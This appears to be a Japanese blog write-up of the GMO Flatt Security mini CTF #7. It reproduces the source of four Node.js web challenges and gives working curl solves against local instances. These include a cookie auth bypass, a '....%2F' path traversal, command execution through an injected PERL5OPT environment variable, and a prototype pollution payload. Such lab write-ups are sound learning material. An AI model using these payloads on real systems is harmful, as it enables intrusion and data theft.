0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

GMO Flatt Security mini CTF #7 全問writeup

Last updated at Posted at 2025-08-19

こんにちは新月です。
GMO Flatt Security mini CTF #7に参加して本当にあり得ないほど酷い、目も当てられない成績だったので禊のためにもここに全問のwriteupを書きます。作問者のst98さん本当に申し訳ありませんでした。

login-as-admin

ソースコードは以下の通りです。

index.js
const express = require('express');
const cookieParser = require('cookie-parser');

const FLAG = process.env.FLAG || 'flag{DUMMY}';
const PORT = process.env.PORT || 3000;

const app = express();
app.use(cookieParser());

const users = {
    // guest user. This user has no admin permissions.
    guest: {
        isAdmin: false
    },

    // admin user. This user has admin permissions.
    // However, the ID is randomly generated, so it is not known in advance.
    [crypto.randomUUID()]: {
        isAdmin: true,
    }
};

app.get('/', (req, res) => {
    const username = req.cookies.username || 'stranger';
    return res.send(`
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Login Form</title>
</head>
<body>
    <h1>Login Form</h1>
    <p>Hello, ${username}!</p>
    <p><a href="/login-as-guest">Click here to login as <code>guest</code></a>.</p>
    <p>If you are sure you are admin, then access <a href="/admin"><code>/admin</code></a> to get the flag.</p>
</body>
</html>
`.trim());
});

app.get('/login-as-guest', (req, res) => {
    res.cookie('username', 'guest');
    return res.redirect('/');
});

app.get('/admin', (req, res) => {
    const username = req.cookies.username;
    if (username === 'admin') {
        return res.send('What are you trying to do?');
    }

    const user = users[username];
    try {
        if (!username || !user.isAdmin) {
            return res.send(`You don't have enough permissions to access this page.`);
        }
    } catch {
        console.error('something wrong');
    }
    return res.send(`Hello, admin! The flag is: ${FLAG}`);
});

app.listen(PORT, () => { console.log('running'); });

/adminというエンドポイントにアクセスする際にisAdminかどうかを検証していますが、userがundefinedの時catchでエラーを潰した後returnを行ってないためそのままflagが取れます。
つまりcookieに存在しないusernameを入れて/adminをGETすれば良いです。

curl -H "Cookie: username=exploit" http://localhost:3000/admin

file yomitaro

ソースコードは以下の通りです。

index.js
const fs = require('fs');
const express = require('express');

const PORT = process.env.PORT || 3000;

const app = express();
app.use(express.urlencoded({ extended: false }));

const indexHtml = fs.readFileSync('./index.html', 'utf8');
app.get('/', (req, res) => {
    return res.send(indexHtml);
});

app.get('/static/:file', (req, res) => {
    let file = req.params.file;
    for (const forbidden of ['dev', 'proc']) {
        if (file.includes(forbidden)) {
            return res.status(400).send({
                error: `Access to ${forbidden} directory is not allowed`,
                requestedFile: file
            });
        }
    }

    file
     = file.replace('..', ''); // Prevent directory traversal
    console.log(file);
    if (file.endsWith('.js')) {
        res.setHeader('Content-Type', 'application/javascript');
    } else if (file.endsWith('.css')) {
        res.setHeader('Content-Type', 'text/css');
    }

    if (fs.existsSync(`./static/${file}`)) {
        return res.send(fs.readFileSync(`./static/${file}`, 'utf8'));
    }
    return res.status(404).send({
        error: 'File not found',
        requestedFile: file
    });
});

app.listen(PORT, () => {
    console.log('Server is running');
});
Dockerfile
FROM node:22-bookworm-slim

WORKDIR /app

COPY package.json package-lock.json ./
RUN npm i

COPY flag /
COPY index.js index.html ./
COPY static/ static/

RUN groupadd -r appuser && useradd -r -g appuser -G audio,video appuser \
    && mkdir -p /home/appuser/Downloads \
    && chown -R appuser:appuser /home/appuser \
    && chown -R appuser:appuser /app/node_modules
USER appuser

CMD ["node", "index.js"]

なんと、解けてません。切腹案件です。
/static/:fileというコードから/static以下のパスをreadFileSyncで取りに行く、ただしreplace('..', '');でディレクトリトラバーサルを防ぐよという意図であることがわかります。ただ、replaceは一度しか置換しないため..../flagの様に記述すると../flagという様にこの制限をバイパスすることができます。:fileという記述では/をそのまま入力するとその後は読んでくれないため%2fにパーセントエンコーディングをしてあげれば正しく動きます。後はflagを取得するだけです。取得するだけだったのですが、なぜかflagの階層を間違え続けて解けませんでした。
....%2F..%2Fflagでアクセスすれば解けたのに、なぜそうしなかったのか、なぜDockerfileを見なかったのか、なぜローカルで検証しなかったのか、今年最大級のやらかしでした。
これで解けます。

curl http://localhost:3001/static/....%2F..%2Fflag

shaberu ushi

ソースコードは以下の通りです。

index.js
const fs = require('fs');
const cp = require('child_process');
const express = require('express');

const PORT = process.env.PORT || 3000;

const app = express();
app.use(express.urlencoded({ extended: true }));

const indexHtml = fs.readFileSync('./index.html', 'utf8');
app.get('/', (req, res) => {
    return res.send(indexHtml);
});

app.post('/say', (req, res) => {
    const params = req.body.params || {};
    if (typeof params.input !== 'string' || params.input.length > 100) {
        return res.status(400).json({ error: 'Message too long' });
    }

    try {
        const result = cp.execFileSync('/usr/games/cowsay', [], {
            ...params,
            encoding: 'utf8',
            timeout: 3000,

            // just to be sure we don't execute arbitrary commands
            cwd: '/app',
            shell: '/bin/sh'
        });

        return res.json({
            message: result.trim()
        });
    } catch (error) {
        return res.status(500).json({ error: 'Failed to generate cowsay' });
    }
});

app.listen(PORT, () => {
    console.log('Server is running');
});

execFileSyncで/usr/games/cowsayを実行し、paramsでexecFileSyncに引数を設定できます。別に/readfileというバイナリも存在するためRCEが目標となります。
execFileSyncの引数を見てみるとenvで環境変数を指定できることがわかります。cowsayはperlで書かれているため「perl environment variables ctf」などで検索すると以下の記事が出てきます。
https://www.elttam.com/blog/env/
これによるとperlは以下のような環境変数を設定することで実行時にコマンドを実行することが可能になるようです。

PERL5OPT=-Mbase;print(`id`);exit

そこで以下の様にリクエストを送るとコマンドが実行できているのがわかります。

┌──(singetu0096㉿kali)-[~/ctf/flatt-mini7/shaberu-usi]
└─$ curl -X POST http://localhost:3002/say -H 'Content-Type: application/x-www-form-urlencoded' -d 'params[input]=hello&params[env][PERL5OPT]=-Mbase;print(`id`)'
{"message":"uid=999(appuser) gid=999(appuser) groups=999(appuser),29(audio),44(video)\n _______\n< hello >\n -------\n        \\   ^__^\n         \\  (oo)\\_______\n            (__)\\       )\\/\\\n                ||----w |\n                ||     ||"}   

あとは以下の様に/readfileの正確なファイル名を求めて、それを実行するだけです。

┌──(singetu0096㉿kali)-[~/ctf/flatt-mini7/shaberu-usi]
└─$ curl -X POST http://localhost:3002/say -H 'Content-Type: application/x-www-form-urlencoded' -d 'params[input]=hello&params[env][PERL5OPT]=-Mbase;print(`ls\x20/`)'
{"message":"app\nbin\nboot\ndev\netc\nhome\nlib\nlib64\nmedia\nmnt\nopt\nproc\nreadflag-56d205ba126615c3\nroot\nrun\nsbin\nsrv\nsys\ntmp\nusr\nvar\n _______\n< hello >\n -------\n        \\   ^__^\n         \\  (oo)\\_______\n            (__)\\       )\\/\\\n                ||----w |\n                ||     ||"}     
┌──(singetu0096㉿kali)-[~/ctf/flatt-mini7/shaberu-usi]
└─$ curl -X POST http://localhost:3002/say -H 'Content-Type: application/x-www-form-urlencoded' -d 'params[input]=hello&params[env][PERL5OPT]=-Mbase;print(`/readflag-56d205ba126615c3`)'
{"message":"flag{DUMMY}\n _______\n< hello >\n -------\n        \\   ^__^\n         \\  (oo)\\_______\n            (__)\\       )\\/\\\n                ||----w |\n                ||     ||"}     

helmet-anuki

ソースコードは以下の通りです。

index.js
const express = require('express');
const helmet = require('helmet');

const FLAG = process.env.FLAG || 'flag{DUMMY}';
const IMPORTANT_HEADER_KEY = 'content-security-policy';

if (process.argv.length < 3) {
    console.error('no arg provided');
    process.exit(1);
}

// pollute Object.prototype with user-provided object
const payload = process.argv[2]; // you can control this string
for (const [k, v] of Object.entries(JSON.parse(payload))) {
    Object.prototype[k] = v;
}

/////////////////////////////////////////////////////////////////////////////

// okay, let's deploy the server
const app = express();
app.use(helmet()); // this will strengthen this app!
app.get('/', (req, res) => {
    res.send('ok');
});

app.listen(3000, () => {
    // send request to the server itself to check if the header is polluted
    fetch('http://localhost:3000').then(r => {
        if (!r.headers.has(IMPORTANT_HEADER_KEY)) {
            console.log(`nope: ${IMPORTANT_HEADER_KEY} not found`);
            process.exit(0);
        }

        // if you control the Content-Security-Policy header, I will give you the flag
        const headerValue = r.headers.get(IMPORTANT_HEADER_KEY);
        const isHeaderPolluted = headerValue.includes('give me flag!');
        console.log(isHeaderPolluted ? `Congratulations! The flag is: ${FLAG}` : 'nope: header not polluted');
        process.exit(0);
    });
});
app.py
import datetime
import json
import logging
import os
import threading
import time

import docker
from flask import Flask, request

IMAGE_NAME = 'tanuki-sandbox'
FLAG = os.environ.get('FLAG', 'flag{DUMMY}')

client = docker.from_env()
logger = logging.getLogger(__name__)
logging.basicConfig(level=logging.INFO)

def run(json):
    result = client.containers.run(IMAGE_NAME, [json], environment={
        'FLAG': FLAG
    }, remove=True, init=True)
    return result.decode('utf-8')

def clean():
    now = datetime.datetime.now(datetime.timezone.utc)
    logger.info(f'clean() started: {now}')

    containers = client.containers.list(all=True, filters={
        'ancestor': IMAGE_NAME
    })

    for container in containers:
        started_str = container.attrs['State']['StartedAt']
        started = datetime.datetime.fromisoformat(started_str.replace('Z', '+00:00'))

        elapsed = (now - started).total_seconds()
        if elapsed > 60:
            try:
                logger.info(f"Removing container {container.id[:12]} started at {started_str}")
                container.remove(force=True)
            except Exception as e:
                logger.info(f"Failed to remove container {container.id[:12]}: {e}")

    now = datetime.datetime.now(datetime.timezone.utc)
    logger.info(f'clean() finished: {now}')

def cleanup_worker():
    while True:
        try:
            clean()
        except Exception as e:
            logger.info(f'error occurred in clean(): {e}')
        time.sleep(60)

app = Flask(__name__)

with open('index.html', 'r') as f:
    index_html = f.read()
@app.get('/')
def index():
    return index_html

@app.post('/run')
def go():
    user_input = request.form.get('input', '')
    try:
        json.loads(user_input)
    except:
        return 'Please input valid JSON'

    logger.info(f'payload: {user_input}')
    try:
        result = run(user_input)
        logger.info(f'result: {result}')
    except Exception as e:
        logger.info(f'error occurred in run(): {e}')
        return 'error occurred'
    return result

if __name__ == '__main__':
    cleanup_thread = threading.Thread(target=cleanup_worker, daemon=True)
    cleanup_thread.start()
    app.run(host='0.0.0.0')

以下の部分のコードにprototype pollutionの脆弱性があるため色々なことができそうです。

// pollute Object.prototype with user-provided object
const payload = process.argv[2]; // you can control this string
for (const [k, v] of Object.entries(JSON.parse(payload))) {
    Object.prototype[k] = v;
}

const isHeaderPolluted = headerValue.includes('give me flag!');の部分で判断しているためcontent-security-policyヘッダにprototype pollutionで値を追加することが最終的な目標となりそう。app.useでhelmetが追加されているため、ここに何かしらのガジェットがありそう。
helmetは以下の様にcontent-security-policyを設定できるため、ここを汚染すればよい。

app.use(helmet.contentSecurityPolicy({
  directives: {
    defaultSrc: ["'self'"],
    scriptSrc: ["'self'", "trusted-scripts.com"]
  }
}));

このようなjsonを送れば上手いこと汚染できそう。

{"contentSecurityPolicy":{"directives":{"content-security-policy":"give me flag!"}}}

最終的にはこう。

┌──(singetu0096㉿kali)-[~/ctf/flatt-mini7/login-as-admin/distfiles]
└─$ curl http://localhost:5000/run -X POST -d 'input={"contentSecurityPolicy":{"directives":{"content-security-policy":"give me flag!"}}}'
Congratulations! The flag is: flag{DUMMY}

あとがき

全問writeupでした。
この度は大変申し訳ございませんでした。

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?